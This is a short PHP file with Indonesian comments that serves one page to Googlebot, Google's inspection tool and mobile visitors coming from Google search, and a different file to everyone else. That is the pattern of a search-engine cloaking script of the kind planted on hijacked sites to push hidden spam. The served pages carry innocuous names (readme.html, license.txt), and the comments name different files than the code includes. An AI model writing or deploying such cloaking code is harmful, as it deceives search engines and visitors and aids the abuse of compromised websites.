<?php
// Fungsi untuk memeriksa apakah pengguna menggunakan perangkat mobile
function isMobile() {
    $user_agent = $_SERVER['HTTP_USER_AGENT'];
    $mobile_agents = [
        'iphone', 'ipad', 'ipod', 'android', 'indexberry', 'mini', 'windows ce',
        'palm', 'opera mobi', 'opera mini', 'mobile', 'phone', 'tablet', 'kindle'
    ];
    
    foreach ($mobile_agents as $agent) {
        if (stripos($user_agent, $agent) !== false) {
            return true;
        }
    }
    return false;
}

// Ambil referer
$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';

// Periksa apakah pengguna datang dari Google dan menggunakan perangkat mobile
if (preg_match('/https?:\/\/(www\.)?google\./i', $referer) && isMobile()) {
    include('readme.html'); // Langsung menyertakan konten index.html tanpa redirect
    exit();
}

// Periksa user-agent dari Googlebot atau Google Inspection Tool
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$target_user_agents = [
    'Googlebot/2.1',
    'Google-InspectionTool'
];

foreach ($target_user_agents as $agent) {
    if (stripos($user_agent, $agent) !== false) {
        include('readme.html'); // Menampilkan index.html jika user-agent sesuai
        exit();
    }
}

// Jika tidak memenuhi kondisi di atas, tampilkan White.html
include('license.txt');
?>